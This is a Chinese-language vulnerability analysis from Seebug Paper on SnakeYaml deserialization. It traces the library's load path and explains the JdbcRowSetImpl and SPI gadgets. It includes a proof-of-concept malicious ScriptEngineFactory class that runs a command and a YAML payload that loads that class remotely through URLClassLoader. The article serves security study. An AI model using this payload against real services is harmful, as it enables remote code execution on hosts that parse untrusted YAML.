作者:SearchNull
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:paper@seebug.org

简介

SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。那么在对象与字符串转换的实现中其实与FastJson和Jaskson等组件一样使用了(非原生)序列化/反序列化。

漏洞利用

你可以使用Maven导入SnakeYaml依赖:

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

简单的JNDI注入示例:

image-20210723231101433

漏洞分析

org.yaml.snakeyaml.Yaml#load开始动态调试, 调用重载方法, 实例化StreamReader对象.

image-20210723231353709

前面为一些对象的初始化操作 无需关注, 重点跟进 getSingleData方法即可。

image-20210723231935395

调用 BaseConstructor#constructDocument方法传入node对象, 其包含了解析的YAML字符串信息

image-20210723234658365

通过Node对象的getTag方法获取Tag对象再调用getClassName方法获取YAML字符串中的类名, Constructor#getClassForName方法获取类的类对象, getClassForName中调用的Class#forName获取的类对象, 这里就不跟进了。

image-20210723235042762

Constructor$ConstructMapping#construct中会调用父类 BaseConstructor#newInstance方法, 在该方法中通过 JdbcRowSetImpl类的类对象获取无参构造器并调用newInstance方法返回实例对象。

image-20210724000825722

跟进到 Constructor$ConstructMapping#constructJavaBean2ndStep中, property.set是关键:

image-20210724001840514

图中的getWriteMethod方法会返回属性对应的setter方法的Method对象(), 通过调用Method对象的invoke方法即实现了调用JavaBean的setter方法。

image-20210724002721771

至于怎么获取对象属性对应的Method的可以debug看看这一部分内容, 调用栈我会贴在下方。

image-20210724003331292

<init>:66, MethodProperty (org.yaml.snakeyaml.introspector) getPropertiesMap:88, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:148, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:309, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) constructJavaBean2ndStep:230, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor) constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml) main:9, YamlTest (org.vulhub.yaml)

JdbcRowSetImpl的Gadget会在其 autoCommit属性的setter方法中触发, SnakeYaml反序列化还有比较经典的Gadget是使用SPI加载远程Jar包或class。

SPI

Java SPI机制全称为Service Provider Interface, 即服务提供发现机制。

当服务的提供者提供了一种接口的实现之后, 需要在classpath下 META-INF/services目录里创建一个以服务接口命名的文件, 文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找 META-INF/services中的配置文件去加载对应的实现类。

谈谈个人的理解, 我认为这种机制是用于解耦模块中的硬编码实现类, 通过配置文件的方式实现的一种动态加载方式。例如在JDBC的使用场景中, 你可以在 META-INF/services新建Driver文件, 在文件内容中指定你要加载的数据库驱动实现类, 这种方式即能够实现动态加载也无需在程序代码中硬编码实现类。当你需要更换数据库驱动时只需要更新配置文件内容即可。

SPI与ScriptEngineManager

首先给出Payload和利用方法, 编写恶意类实现 ScriptEngineFactory接口, 在静态代码块中添加命令执行代码:

public class Poc implements ScriptEngineFactory {
    public static void main(String[] args) {}

    static {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {}
    ......

然后将编译的class放置在Web服务下, 同时在Web服务的根目录新建 META-INF/services/javax.script.ScriptEngineFactory文件, 内容为 Poc

image-20210724145246139

String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!java.net.URL [\"url\"]]]]";

image-20210724145913750

上述的Payload会从最右边开始解析, 首先调用 java.net.URLpublic URL(String spec)构造器初始化对象, 然后将该URL对象传入 java.net.URLClassLoaderpublic URLClassLoader(URL[] urls)构造器中, 因为该构造器形参是URL对象数组所以Payload中用了两个方括号。最后即是调用 javax.script.ScriptEngineManagerpublic ScriptEngineManager(URLClassloader loader)构造器。

image-20210724151100413

打开URL流获取加载的类名:

image-20210724163920517

java.util.ServiceLoader#nextService中其通过Class.forName通过URL加载远程服务器上的类(因为loader是URLClassLoader), 并触发静态代码块中的命令执行弹出计算器。

不过这里Class.forName的第二个参数为false, 所以静态代码块不会在这里被执行, 而是当调用newInstance方法的时候执行的。

image-20210724164146667

参考

Java SnakeYaml反序列化漏洞

Java常用机制 - SPI机制详解 | Java 全栈知识体系


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1657/